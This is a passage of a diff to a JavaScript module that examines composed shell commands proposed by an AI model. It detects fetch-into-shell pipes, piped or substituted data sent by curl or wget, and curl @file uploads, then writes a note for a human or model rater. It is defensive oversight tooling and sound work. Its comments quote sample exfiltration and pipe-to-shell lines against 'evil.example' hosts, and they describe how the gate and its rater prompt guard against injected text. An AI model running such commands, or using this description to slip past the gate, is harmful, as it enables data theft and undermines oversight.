* Quote-aware and nesting-aware, because both are the difference between a part and a fragment: a
|
|
719
|
+
* `|` inside `"$(cat a | b)"` or inside `'a;b'` starts no new command, and splitting there would
|
|
720
|
+
* describe a flow the shell never performs. The nesting counter covers `$(…)`, `<(…)`, `>(…)` and
|
|
721
|
+
* backticks — the constructs whose interior is a command line of its own.
|
|
722
|
+
*
|
|
723
|
+
* This does NOT try to be a shell parser. It is the smallest thing that can say "these are the parts
|
|
724
|
+
* and this one feeds that one", which is all the note needs.
|
|
725
|
+
*/
|
|
726
|
+
function splitComposed(command) {
|
|
727
|
+
const segments = [];
|
|
728
|
+
let current = '';
|
|
729
|
+
let separatorBefore = 'none';
|
|
730
|
+
let quote = null;
|
|
731
|
+
let depth = 0;
|
|
732
|
+
let backtick = false;
|
|
733
|
+
const cut = (next) => {
|
|
734
|
+
segments.push({ text: current, separatorBefore });
|
|
735
|
+
current = '';
|
|
736
|
+
separatorBefore = next;
|
|
737
|
+
};
|
|
738
|
+
for (let i = 0; i < command.length; i++) {
|
|
739
|
+
const ch = command[i];
|
|
740
|
+
const next = command[i + 1];
|
|
741
|
+
if (quote !== null) {
|
|
742
|
+
current += ch;
|
|
743
|
+
if (ch === quote)
|
|
744
|
+
quote = null;
|
|
745
|
+
continue;
|
|
746
|
+
}
|
|
747
|
+
if (ch === '"' || ch === "'") {
|
|
748
|
+
quote = ch;
|
|
749
|
+
current += ch;
|
|
750
|
+
continue;
|
|
751
|
+
}
|
|
752
|
+
if (ch === '`') {
|
|
753
|
+
backtick = !backtick;
|
|
754
|
+
current += ch;
|
|
755
|
+
continue;
|
|
756
|
+
}
|
|
757
|
+
if (!backtick && (ch === '$' || ch === '<' || ch === '>') && next === '(') {
|
|
758
|
+
depth++;
|
|
759
|
+
current += ch + next;
|
|
760
|
+
i++;
|
|
761
|
+
continue;
|
|
762
|
+
}
|
|
763
|
+
if (depth > 0) {
|
|
764
|
+
if (ch === '(')
|
|
765
|
+
depth++;
|
|
766
|
+
else if (ch === ')')
|
|
767
|
+
depth--;
|
|
768
|
+
current += ch;
|
|
769
|
+
continue;
|
|
770
|
+
}
|
|
771
|
+
if (backtick) {
|
|
772
|
+
current += ch;
|
|
773
|
+
continue;
|
|
774
|
+
}
|
|
775
|
+
if (ch === '\n' || ch === '\r' || ch === ';') {
|
|
776
|
+
cut('sequence');
|
|
777
|
+
continue;
|
|
778
|
+
}
|
|
779
|
+
if (ch === '&') {
|
|
780
|
+
if (next === '&')
|
|
781
|
+
i++;
|
|
782
|
+
cut('sequence');
|
|
783
|
+
continue;
|
|
784
|
+
}
|
|
785
|
+
if (ch === '|') {
|
|
786
|
+
// `||` is a sequence operator; a single `|` is the one that connects two parts' streams, and
|
|
787
|
+
// that connection is the whole of what a flow sentence describes.
|
|
788
|
+
if (next === '|') {
|
|
789
|
+
i++;
|
|
790
|
+
cut('sequence');
|
|
791
|
+
}
|
|
792
|
+
else {
|
|
793
|
+
cut('pipe');
|
|
794
|
+
}
|
|
795
|
+
continue;
|
|
796
|
+
}
|
|
797
|
+
current += ch;
|
|
798
|
+
}
|
|
799
|
+
cut('none');
|
|
800
|
+
return segments.filter((segment) => segment.text.trim().length > 0);
|
|
801
|
+
}
|
|
802
|
+
/**
|
|
803
|
+
* The characters a token may contain to be quoted back inside our own note.
|
|
804
|
+
*
|
|
805
|
+
* **This is an injection boundary, not cosmetics.** The note is OUR trusted text and sits OUTSIDE
|
|
806
|
+
* the `<command_to_evaluate>` fence, while every token it names comes from the model's command
|
|
807
|
+
* string. {@link SCHEME_RE} and {@link HOST_COLON_PATH_RE} are PREFIX tests, so an operand that
|
|
808
|
+
* starts as a URL carries whatever follows it — and a composed command is the easiest place to build
|
|
809
|
+
* one. Barring whitespace and line breaks is what stops a "hostname" from becoming a sentence or a
|
|
810
|
+
* new line in a prompt that is read as instructions.
|
|
811
|
+
*
|
|
812
|
+
* A token that fails this is not mangled into shape; it is simply not named ({@link quotable}), and
|
|
813
|
+
* the sentence falls back to a generic word.
|
|
814
|
+
*/
|
|
815
|
+
const QUOTABLE_IN_NOTE_RE = /^[A-Za-z0-9~/.[][A-Za-z0-9._~@:/+?=,%#[\]-]{0,99}$/;
|
|
816
|
+
/** The token if it is safe to name in our own note, else `null`. See {@link QUOTABLE_IN_NOTE_RE}. */
|
|
817
|
+
function quotable(token) {
|
|
818
|
+
return QUOTABLE_IN_NOTE_RE.test(token) ? token : null;
|
|
819
|
+
}
|
|
820
|
+
/** `$(…)` or a backtick — the substitution forms the shell EXECUTES before the outer program runs. */
|
|
821
|
+
const EXECUTING_SUBSTITUTION_RE = /\$\(|`/;
|
|
822
|
+
/**
|
|
823
|
+
* curl's convention for "read this operand from a local file rather than taking it literally". `@-`
|
|
824
|
+
* is standard input, which is the pipe case rather than a file read.
|
|
825
|
+
*
|
|
826
|
+
* Within a head that HAS the convention this is keyed on the convention and not on a list of the
|
|
827
|
+
* flags that honour it: an enumeration of `-d`/`--data-binary`/`-T`/`-F`/… acquires a blind spot one
|
|
828
|
+
* flag at a time, and a miss there costs a less specific note. Which heads have it at all is a
|
|
829
|
+
* different question and is answered by {@link AT_FILE_HEADS}.
|
|
830
|
+
*/
|
|
831
|
+
const AT_FILE_OPERAND_RE = /^@(?!-$)(.+)$/;
|
|
832
|
+
/**
|
|
833
|
+
* The heads whose operand beginning with `@` means *"read this local file and send its contents"*.
|
|
834
|
+
*
|
|
835
|
+
* **curl alone, and the narrowness is the point.** The sentence this arm emits names that mechanism
|
|
836
|
+
* outright, so it is only ever true of a program that has the convention. A leading at-sign is
|
|
837
|
+
* ordinary in operands that are nothing of the kind — `npm install @babel/core`, `pnpm add
|
|
838
|
+
* @types/node`, `yarn add @scope/pkg` are scoped package NAMES, and applying curl's convention to
|
|
839
|
+
* them both invents a mechanism and invents a filename that does not exist. httpie's file forms
|
|
840
|
+
* attach to a field (`field@file`) rather than standing as a bare operand, so it is out too: a head
|
|
841
|
+
* admitted here on a guess re-creates exactly the defect this gate prevents, while a head left out
|
|
842
|
+
* costs only the flowless sentence, which still names the host.
|
|
843
|
+
*
|
|
844
|
+
* The head is `argv[0]` of the part, so a wrapped form (`sudo curl -d @secret …`) falls through as
|
|
845
|
+
* well — the same trade, taken the same way.
|
|
846
|
+
*/
|
|
847
|
+
const AT_FILE_HEADS = new Set(['curl']);
|
|
848
|
+
/**
|
|
849
|
+
* Flags whose VALUE the program puts into what it SENDS — a request body, a header, credentials.
|
|
850
|
+
*
|
|
851
|
+
* **Keyed by head, because a flag letter is not a convention:** `git push -d <branch>` deletes a
|
|
852
|
+
* branch, and an ungated list would let *"the result of the inner command is part of what git sends
|
|
853
|
+
* to <host>"* through unchecked. Only values sent LITERALLY are listed: `-T`/`--upload-file` and
|
|
854
|
+
* `-F`/`--form` take a filename or an `@file` reference, so a substitution there produces the NAME
|
|
855
|
+
* of what is sent rather than the content, and claiming otherwise would be the same false mechanism
|
|
856
|
+
* one flag along.
|
|
857
|
+
*
|
|
858
|
+
* A head or a flag missing from here costs the flowless sentence, which is the direction this table
|
|
859
|
+
* must fail in.
|
|
860
|
+
*/
|
|
861
|
+
const SEND_OPERAND_FLAGS = new Map([
|
|
862
|
+
[
|
|
863
|
+
'curl',
|
|
864
|
+
new Set([
|
|
865
|
+
'-d',
|
|
866
|
+
'--data',
|
|
867
|
+
'--data-raw',
|
|
868
|
+
'--data-ascii',
|
|
869
|
+
'--data-binary',
|
|
870
|
+
'--data-urlencode',
|
|
871
|
+
'--json',
|
|
872
|
+
'--form-string',
|
|
873
|
+
'-H',
|
|
874
|
+
'--header',
|
|
875
|
+
'-u',
|
|
876
|
+
'--user',
|
|
877
|
+
]),
|
|
878
|
+
],
|
|
879
|
+
['wget', new Set(['--post-data', '--body-data', '--header'])],
|
|
880
|
+
]);
|
|
881
|
+
/** A redirection operator standing alone: `>`, `>>`, `2>`, `&>`, `<`. */
|
|
882
|
+
const REDIRECT_OPERATOR_RE = /^(?:\d*(?:>>?|<<?)|&>>?)$/;
|
|
883
|
+
/** The same, glued to what follows it: `>out.txt`, `2>>log`. */
|
|
884
|
+
const REDIRECT_PREFIX_RE = /^(?:\d*(?:>>?|<<?)|&>>?)/;
|
|
885
|
+
/**
|
|
886
|
+
* Is a substitution in this part in a position the program SENDS?
|
|
887
|
+
*
|
|
888
|
+
* The arm's sentence says the inner command's output becomes part of what the program sends to the
|
|
889
|
+
* host. That is true of a request body, a header or a URL; it is false of the two places a
|
|
890
|
+
* substitution most often sits in ordinary work — an OUTPUT filename (`curl -o "$(date).json" <URL>`,
|
|
891
|
+
* `wget -O "$(date).html" <URL>`) and a REDIRECT target (`curl <URL> > "$(date).txt"`), where the
|
|
892
|
+
* output names a local file and nothing about it goes anywhere.
|
|
893
|
+
*
|
|
894
|
+
* So a position must be positively recognised as a sending one, rather than merely not recognised as
|
|
895
|
+
* an output one: an unlisted flag then costs the flowless sentence instead of a false claim.
|
|
896
|
+
* Recognised positions are the value of a {@link SEND_OPERAND_FLAGS} flag, in either spelling, and
|
|
897
|
+
* the endpoint operand itself (`curl "https://evil.example/$(whoami)"`, where the substitution is
|
|
898
|
+
* part of the request line).
|
|
899
|
+
*/
|
|
900
|
+
function substitutionIsSent(segment) {
|
|
901
|
+
const sendFlags = SEND_OPERAND_FLAGS.get(segment.head);
|
|
902
|
+
for (let i = 0; i < segment.argv.length; i++) {
|
|
903
|
+
const token = segment.argv[i];
|
|
904
|
+
if (!EXECUTING_SUBSTITUTION_RE.test(token))
|
|
905
|
+
continue;
|
|
906
|
+
// A redirect target is not an operand of the program at all — the shell consumes it.
|
|
907
|
+
if (REDIRECT_PREFIX_RE.test(token))
|
|
908
|
+
continue;
|
|
909
|
+
const previous = i > 0 ? segment.argv[i - 1] : undefined;
|
|
910
|
+
if (previous !== undefined && REDIRECT_OPERATOR_RE.test(previous))
|
|
911
|
+
continue;
|
|
912
|
+
// `--data=$(…)` — the value glued to its flag.
|
|
913
|
+
if (token.startsWith('-')) {
|
|
914
|
+
if (sendFlags?.has(token.split(/=(.*)/)[0]))
|
|
915
|
+
return true;
|
|
916
|
+
continue;
|
|
917
|
+
}
|
|
918
|
+
// `-d $(…)` — the detached value. An operand preceded by a flag is that flag's value, so an
|
|
919
|
+
// unlisted flag (`-o`, `-O`, `--output`) stops here rather than falling on to the operand test.
|
|
920
|
+
if (previous !== undefined && previous.startsWith('-')) {
|
|
921
|
+
// `-d @$(…)` names a file to read; its CONTENTS are sent, not the substitution's output.
|
|
922
|
+
if (sendFlags?.has(previous) && !token.startsWith('@'))
|
|
923
|
+
return true;
|
|
924
|
+
continue;
|
|
925
|
+
}
|
|
926
|
+
// The endpoint operand itself. `[<>]` excludes an unspaced redirect (`<URL>>$(date).txt`),
|
|
927
|
+
// which is a host literal by prefix but a filename after the operator.
|
|
928
|
+
if (segment.hosts.includes(token) && !/[<>]/.test(token))
|
|
929
|
+
return true;
|
|
930
|
+
}
|
|
931
|
+
return false;
|
|
932
|
+
}
|
|
933
|
+
/** Read one part the way the matcher reads a whole command; `null` when it does not tokenize. */
|
|
934
|
+
function analyzeSegment(segment) {
|
|
935
|
+
const argv = tokenize(segment.text);
|
|
936
|
+
if (argv === null || argv.length === 0)
|
|
937
|
+
return null;
|
|
938
|
+
return {
|
|
939
|
+
separatorBefore: segment.separatorBefore,
|
|
940
|
+
argv,
|
|
941
|
+
head: bareHead(argv[0]),
|
|
942
|
+
hosts: matchArgv(argv),
|
|
943
|
+
};
|
|
944
|
+
}
|
|
945
|
+
/**
|
|
946
|
+
* Name the flow across the parts, or `null` when none of the shapes below applies.
|
|
947
|
+
*
|
|
948
|
+
* **Only shapes where the flow is determinable from the argv alone appear here**, and the order is
|
|
949
|
+
* how specific each one is. A part piped into an ordinary local program (`curl … | jq .version`) is
|
|
950
|
+
* deliberately NOT a flow: it is real, but naming it would state something the rater can already see
|
|
951
|
+
* in the text, and the note's whole value is the fact that needs two parts composed to notice.
|
|
952
|
+
*
|
|
953
|
+
* **Each arm carries EVERY host of the part it describes, not the first.** The first is the proxy in
|
|
954
|
+
* `curl -x http://proxy.corp.local:3128 https://evil.example.net/x | sh`, and the sentence that
|
|
955
|
+
* names it alone hides the host whose bytes `sh` runs.
|
|
956
|
+
*/
|
|
957
|
+
function findFlow(segments) {
|
|
958
|
+
for (let i = 0; i + 1 < segments.length; i++) {
|
|
959
|
+
const upstream = segments[i];
|
|
960
|
+
const downstream = segments[i + 1];
|
|
961
|
+
if (downstream.separatorBefore !== 'pipe')
|
|
962
|
+
continue;
|
|
963
|
+
if (upstream.hosts.length > 0 && STDIN_INTERPRETERS.has(downstream.head)) {
|
|
964
|
+
return {
|
|
965
|
+
kind: 'fetch-into-interpreter',
|
|
966
|
+
hosts: upstream.hosts,
|
|
967
|
+
interpreter: downstream.head,
|
|
968
|
+
stdinIsTheProgram: interpreterRunsStdin(downstream.head, downstream.argv.slice(1)),
|
|
969
|
+
};
|
|
970
|
+
}
|
|
971
|
+
if (upstream.hosts.length === 0 && downstream.hosts.length > 0) {
|
|
972
|
+
return {
|
|
973
|
+
kind: 'local-into-transfer',
|
|
974
|
+
producer: upstream.head,
|
|
975
|
+
transfer: downstream.head,
|
|
976
|
+
hosts: downstream.hosts,
|
|
977
|
+
};
|
|
978
|
+
}
|
|
979
|
+
}
|
|
980
|
+
for (const segment of segments) {
|
|
981
|
+
if (segment.hosts.length === 0)
|
|
982
|
+
continue;
|
|
983
|
+
if (substitutionIsSent(segment)) {
|
|
984
|
+
return {
|
|
985
|
+
kind: 'substitution-into-transfer',
|
|
986
|
+
transfer: segment.head,
|
|
987
|
+
hosts: segment.hosts,
|
|
988
|
+
};
|
|
989
|
+
}
|
|
990
|
+
if (!AT_FILE_HEADS.has(segment.head))
|
|
991
|
+
continue;
|
|
992
|
+
const atFile = segment.argv
|
|
993
|
+
.map((token) => AT_FILE_OPERAND_RE.exec(token)?.[1])
|
|
994
|
+
.find((path) => path !== undefined);
|
|
995
|
+
if (atFile !== undefined) {
|
|
996
|
+
return {
|
|
997
|
+
kind: 'file-into-transfer',
|
|
998
|
+
transfer: segment.head,
|
|
999
|
+
hosts: segment.hosts,
|
|
1000
|
+
path: quotable(atFile),
|
|
1001
|
+
};
|
|
1002
|
+
}
|
|
1003
|
+
}
|
|
1004
|
+
return null;
|
|
1005
|
+
}
|
|
1006
|
+
/** Read every part of one form of the command; `null` when no part names a host. */
|
|
1007
|
+
function analyzeComposed(command) {
|
|
1008
|
+
const segments = splitComposed(command)
|
|
1009
|
+
.map(analyzeSegment)
|
|
1010
|
+
.filter((segment) => segment !== null);
|
|
1011
|
+
const hosts = [...new Set(segments.flatMap((segment) => [...segment.hosts]))];
|
|
1012
|
+
if (hosts.length === 0)
|
|
1013
|
+
return null;
|
|
1014
|
+
return { hosts, flow: findFlow(segments) };
|
|
1015
|
+
}
|
|
1016
|
+
/**
|
|
1017
|
+
* Read a command the gate's parser could NOT resolve part by part, and report the host literals and
|
|
1018
|
+
* the data flow across those parts — or `null` when the command resolves, or when no part names a
|
|
1019
|
+
* host.
|
|
1020
|
+
*
|
|
1021
|
+
* **This feeds the rater's note and nothing else.** It is never consulted by the destructive floor:
|
|
1022
|
+
* see the module docblock for why the two questions have different input sets, and
|
|
1023
|
+
* {@link findOpenWorldHostLiterals} for the floor's.
|
|
1024
|
+
*
|
|
1025
|
+
* The `null` on a resolvable command is the guard that keeps the rater from being told about the
|
|
1026
|
+
* same host twice in two registers — a command the parser resolved is the floor's, and the floor's
|
|
1027
|
+
* own note already names its hosts.
|
|
1028
|
+
*
|
|
1029
|
+
* Both the normalized and the raw form are read, for the reason {@link findOpenWorldHostLiterals}
|
|
1030
|
+
* gives: normalization collapses `\x` to `x`, which defeats `c\url` and destroys a Windows path
|
|
1031
|
+
* separator, so the raw pass is the only one that still sees `C:\Windows\System32\curl.exe`.
|
|
1032
|
+
*
|
|
1033
|
+
* @param command The raw command string as the model proposed it.
|
|
1034
|
+
*/
|
|
1035
|
+
export function findComposedOpenWorld(command) {
|
|
1036
|
+
if (classifyCommand(command, normalizeCommand) !== null)
|
|
1037
|
+
return null;
|
|
1038
|
+
return analyzeComposed(normalizeCommand(command)) ?? analyzeComposed(command);
|
|
1039
|
+
}
|
|
1040
|
+
/**
|
|
1041
|
+
* The opening line of the composed open-world note.
|
|
1042
|
+
*
|
|
1043
|
+
* **It states the two facts and asserts no third one.** A part of this line names a host in a
|
|
1044
|
+
* fetch/transfer position, and nothing about the command has been decided. The second half is what
|
|
1045
|
+
* keeps this out of the floor note's register: that one may say the command *"is never
|
|
1046
|
+
* auto-approved"* because a floor really did fire, and here no floor exists — repeating its sentence
|
|
1047
|
+
* would tell the rater the outcome is settled when the rating is the only thing that decides it.
|
|
1048
|
+
*/
|
|
1049
|
+
export const COMPOSED_OPEN_WORLD_PREAMBLE = 'OPEN-WORLD NOTE: the gate could not resolve this command line as a single command — it composes, ' +
|
|
1050
|
+
'substitutes or redirects — so it was not put through the deterministic host check a plain ' +
|
|
1051
|
+
'command goes through. Reading its parts separately, one of them names a host in a fetch or ' +
|
|
1052
|
+
'transfer position. Nothing has been decided here and nothing has been floored: this is context ' +
|
|
1053
|
+
'about what the parts do together, and the rating is entirely yours.';
|
|
1054
|
+
/**
|
|
1055
|
+
* Name every host that is safe to quote back, in argv order.
|
|
1056
|
+
*
|
|
1057
|
+
* **Every one, never the first.** The finding carries all of them because the first is the proxy and
|
|
1058
|
+
* the second is the counterparty as often as the other way round; a sentence that drops the rest
|
|
1059
|
+
* hides exactly what it exists to surface. A host that fails {@link quotable} is not named at all —
|
|
1060
|
+
* that is the injection boundary, not a shortening — and when none can be named the caller's
|
|
1061
|
+
* fallback word stands in for them.
|
|
1062
|
+
*/
|
|
1063
|
+
function nameHosts(hosts, fallback) {
|
|
1064
|
+
const named = hosts.map(quotable).filter((host) => host !== null);
|
|
1065
|
+
if (named.length === 0)
|
|
1066
|
+
return { phrase: fallback, plural: false };
|
|
1067
|
+
if (named.length === 1)
|
|
1068
|
+
return { phrase: named[0], plural: false };
|
|
1069
|
+
const last = named[named.length - 1];
|
|
1070
|
+
return { phrase: `${named.slice(0, -1).join(', ')} and ${last}`, plural: true };
|
|
1071
|
+
}
|
|
1072
|
+
/**
|
|
1073
|
+
* The sentence describing the flow — the mechanism, then a question.
|
|
1074
|
+
*
|
|
1075
|
+
* Neither is a verdict about the command. [[QA-17]] measured that a bare observation from a
|
|
1076
|
+
* component that has just said it could not read the command is taken as DOUBT rather than as
|
|
1077
|
+
* information, and that one sentence of MECHANISM is what moves a rater; these say what the shell
|
|
1078
|
+
* does with the parts and then hand the judgement back.
|
|
1079
|
+
*
|
|
1080
|
+
* Every arm renders `flow.hosts` through {@link nameHosts} and agrees its verbs with the count, so
|
|
1081
|
+
* the one-host reading and the several-host reading are the same sentence rather than two that can
|
|
1082
|
+
* drift.
|
|
1083
|
+
*/
|
|
1084
|
+
function flowSentence(flow) {
|
|
1085
|
+
switch (flow.kind) {
|
|
1086
|
+
case 'fetch-into-interpreter': {
|
|
1087
|
+
const { phrase: host, plural } = nameHosts(flow.hosts, 'that host');
|
|
1088
|
+
const interpreter = quotable(flow.interpreter) ?? 'the program after the pipe';
|
|
1089
|
+
const returns = plural ? 'return' : 'returns';
|
|
1090
|
+
const does = plural ? 'do' : 'does';
|
|
1091
|
+
// A token on the interpreter's own argv could be a program, so the fetched bytes may be its
|
|
1092
|
+
// INPUT rather than the thing it runs — `curl … | python3 -m json.tool` pretty-prints them as
|
|
1093
|
+
// data, and so does the glued `-mjson.tool` spelling. The sentence hedges because the gate
|
|
1094
|
+
// reads shape and not flag meanings; see {@link interpreterRunsStdin}.
|
|
1095
|
+
if (!flow.stdinIsTheProgram) {
|
|
1096
|
+
return (`The part that fetches from ${host} is piped into ${interpreter}, so ${interpreter} ` +
|
|
1097
|
+
`reads whatever ${host} ${returns}. This line also gives ${interpreter} operands of its ` +
|
|
1098
|
+
`own, which may be the program it runs, so the gate is not saying the fetched bytes are ` +
|
|
1099
|
+
`what executes here — they may be INPUT to that program instead. What ${does} ${host} ` +
|
|
1100
|
+
`serve here, and what does ${interpreter} do with it?`);
|
|
1101
|
+
}
|
|
1102
|
+
return (`The part that fetches from ${host} is piped into ${interpreter}, so the shell hands ` +
|
|
1103
|
+
`whatever ${host} ${returns} to ${interpreter} and ${interpreter} runs it as a program on ` +
|
|
1104
|
+
`this machine. What this line executes is therefore decided by ${host} and is not in the ` +
|
|
1105
|
+
`text above. What ${does} ${host} serve here?`);
|
|
1106
|
+
}
|
|
1107
|
+
case 'local-into-transfer': {
|
|
1108
|
+
const { phrase: host } = nameHosts(flow.hosts, 'that host');
|
|
1109
|
+
const producer = quotable(flow.producer) ?? 'the program before the pipe';
|
|
1110
|
+
const transfer = quotable(flow.transfer) ?? 'the program after the pipe';
|
|
1111
|
+
return (`The output of ${producer} is piped into ${transfer}, so whatever ${producer} produces on ` +
|
|
1112
|
+
`this machine is what ${transfer} sends to ${host}. It takes both parts together to see ` +
|
|
1113
|
+
`that: neither one moves local data off the machine on its own. What does ${producer} read ` +
|
|
1114
|
+
`and emit here?`);
|
|
1115
|
+
}
|
|
1116
|
+
case 'substitution-into-transfer': {
|
|
1117
|
+
const { phrase: host } = nameHosts(flow.hosts, 'that host');
|
|
1118
|
+
const transfer = quotable(flow.transfer) ?? 'the transfer program';
|
|
1119
|
+
return (`An operand of ${transfer} is a substitution. The SHELL runs that inner command first and ` +
|
|
1120
|
+
`substitutes its output into the argument list BEFORE ${transfer} starts, so the result of ` +
|
|
1121
|
+
`the inner command is part of what ${transfer} sends to ${host} — the operand is not the ` +
|
|
1122
|
+
`literal text shown. What does the inner command produce?`);
|
|
1123
|
+
}
|
|
1124
|
+
case 'file-into-transfer': {
|
|
1125
|
+
const { phrase: host } = nameHosts(flow.hosts, 'that host');
|
|
1126
|
+
const transfer = quotable(flow.transfer) ?? 'the transfer program';
|
|
1127
|
+
const file = flow.path === null ? 'a local file' : `the local file ${flow.path}`;
|
|
1128
|
+
return (`An operand of ${transfer} begins with an at-sign, which tells ${transfer} to read ` +
|
|
1129
|
+
`${file} and send its CONTENTS to ${host} rather than sending the name itself. What is in ` +
|
|
1130
|
+
`that file?`);
|
|
1131
|
+
}
|
|
1132
|
+
}
|
|
1133
|
+
}
|
|
1134
|
+
/**
|
|
1135
|
+
* The hosts the rest of the line names, added after the flow sentence.
|
|
1136
|
+
*
|
|
1137
|
+
* A flow describes ONE part; the finding covers the whole line. Without this, naming a flow would
|
|
1138
|
+
* cost the note every host outside that part — the same loss as naming only the first host, one
|
|
1139
|
+
* level up. Empty when the flow already named them all, which is the ordinary case.
|
|
1140
|
+
*/
|
|
1141
|
+
function residualSentence(hosts) {
|
|
1142
|
+
const { phrase, plural } = nameHosts(hosts, '');
|
|
1143
|
+
if (phrase === '')
|
|
1144
|
+
return '';
|
|
1145
|
+
return plural
|
|
1146
|
+
? ` Other parts of this line also name ${phrase}, and the gate is not saying what reaches them. ` +
|
|
1147
|
+
'What do those parts do here?'
|
|
1148
|
+
: ` Another part of this line also names ${phrase}, and the gate is not saying what reaches ` +
|
|
1149
|
+
'it. What does that part do here?';
|
|
1150
|
+
}
|
|
1151
|
+
/**
|
|
1152
|
+
* What the note says when no flow is determinable: the hosts, and an explicit statement that the
|
|
1153
|
+
* flow is NOT known. A note that guessed at one would be worse than a short one, and a reader told
|
|
1154
|
+
* what the gate could not work out can weigh it.
|
|
1155
|
+
*/
|
|
1156
|
+
function flowlessSentence(hosts) {
|
|
1157
|
+
const { phrase, plural } = nameHosts(hosts, 'a host');
|
|
1158
|
+
const subject = plural ? 'The parts read separately name' : 'The part in question names';
|
|
1159
|
+
const them = plural ? 'those hosts' : 'that host';
|
|
1160
|
+
const contact = plural
|
|
1161
|
+
? 'the parts of this line contact them'
|
|
1162
|
+
: 'one part of this line contacts it';
|
|
1163
|
+
return (`${subject} ${phrase}. The gate could not work out how the parts feed into each other, so it ` +
|
|
1164
|
+
`is not telling you what reaches ${them} — only that ${contact}. What does the whole line do ` +
|
|
1165
|
+
'once every part has run?');
|
|
1166
|
+
}
|
|
1167
|
+
/**
|
|
1168
|
+
* Build the composed open-world note for a command, or `null` when there is nothing to say.
|
|
1169
|
+
*
|
|
1170
|
+
* One sentence of mechanism when the flow is determinable, plus the hosts the rest of the line names
|
|
1171
|
+
* ({@link residualSentence}); when it is not, {@link flowlessSentence}. **Every host on the finding
|
|
1172
|
+
* that can be quoted is named either way** — which arm fired must never decide how much the rater is
|
|
1173
|
+
* told about the counterparties.
|
|
1174
|
+
*
|
|
1175
|
+
* @param command The raw command string as the model proposed it.
|
|
1176
|
+
*/
|
|
1177
|
+
export function buildComposedOpenWorldNote(command) {
|
|
1178
|
+
const finding = findComposedOpenWorld(command);
|
|
1179
|
+
if (finding === null)
|
|
1180
|
+
return null;
|
|
1181
|
+
const flow = finding.flow;
|
|
1182
|
+
const body = flow === null
|
|
1183
|
+
? flowlessSentence(finding.hosts)
|
|
1184
|
+
: flowSentence(flow) +
|
|
1185
|
+
residualSentence(finding.hosts.filter((host) => !flow.hosts.includes(host)));
|
|
1186
|
+
return `${COMPOSED_OPEN_WORLD_PREAMBLE}\n${body}`;
|
|
1187
|
+
}
|
|
1188
|
+
//# sourceMappingURL=openWorld.js.map
|